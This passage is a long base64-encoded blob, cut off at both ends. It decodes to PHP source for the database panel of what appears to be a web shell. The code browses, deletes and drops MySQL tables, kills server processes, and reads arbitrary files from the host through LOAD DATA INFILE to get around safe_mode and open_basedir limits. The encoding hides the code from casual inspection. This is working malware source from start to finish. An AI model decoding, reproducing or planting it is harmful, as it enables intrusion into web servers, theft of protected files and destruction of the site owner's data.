IuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sZVwiIHZhbHVlPVwiIi4kc3FsX3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsKICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7CiAgICAgIGVjaG8gIjx0cj4iOwogICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iOwogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQogICAgICB7CiAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7CiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQogICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30KICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fQogICAgICAgZWNobyAiPC90ZD4iOwogICAgICB9CiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpCiAgICAgIHsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgJHcgPSAiIjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9CiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikKICAgICAgIHsKICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgfQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgfQogICAgfQogICAgZWxzZQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgICBlbHNlCiAgICAgewogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7CiAgICAgIAogICAgICAkaSA9IDA7CiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsKICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07CiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgICAkaSsrOwogICAgICB9CiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsKICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+wrs8L2I+PC9jZW50ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxiPiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibHJlcGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOwogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICB9CiAgICB9CiAgIH0KICAgfQogIH0KICBlbHNlCiAgewogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0KICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpCiAgIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIGlmICgkc3FsX2FjdCA9PSAibmV3ZGIiKQogICAgewogICAgIGVjaG8gIjxiPiI7CiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnN0YXR1cyIpCiAgICB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJ2YXJzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAicHJvY2Vzc2VzIikKICAgIHsKICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI8Yj5LaWxsaW5nIHByb2Nlc3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXByb2Nlc3NlcyZraWxsPSIuJHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAiZ2V0ZmlsZSIpCiAgICB7CiAgICAgJHRtcGRiID0gJHNxbF9sb2dpbi4iX3RtcGRiIjsKICAgICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQogICAgIGlmICgkc2VsZWN0KQogICAgIHsKICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsKICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcgdGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFzZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsKICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7CiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gIjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQogICAgICAgJGYgPSAiIjsKICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQogICAgICAgZWxzZSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIjo8L2I+PGJyPiIubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkZikpLiI8YnI+Ijt9CiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogICAgICB9CiAgICAgfQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50IHRvIGxlYXZlIGRhdGFiYXNlCiAgICB9CiAgIH0KICB9CiB9CiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogaWYgKCRzcWxfc29jaykKIHsKICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOwogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93czogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOwogfQogZWNobyAiPC90YWJsZT4iOwp9CmlmICgkYWN0ID09ICJta2RpciIpCnsKIGlmICgkbWtkaXIgIT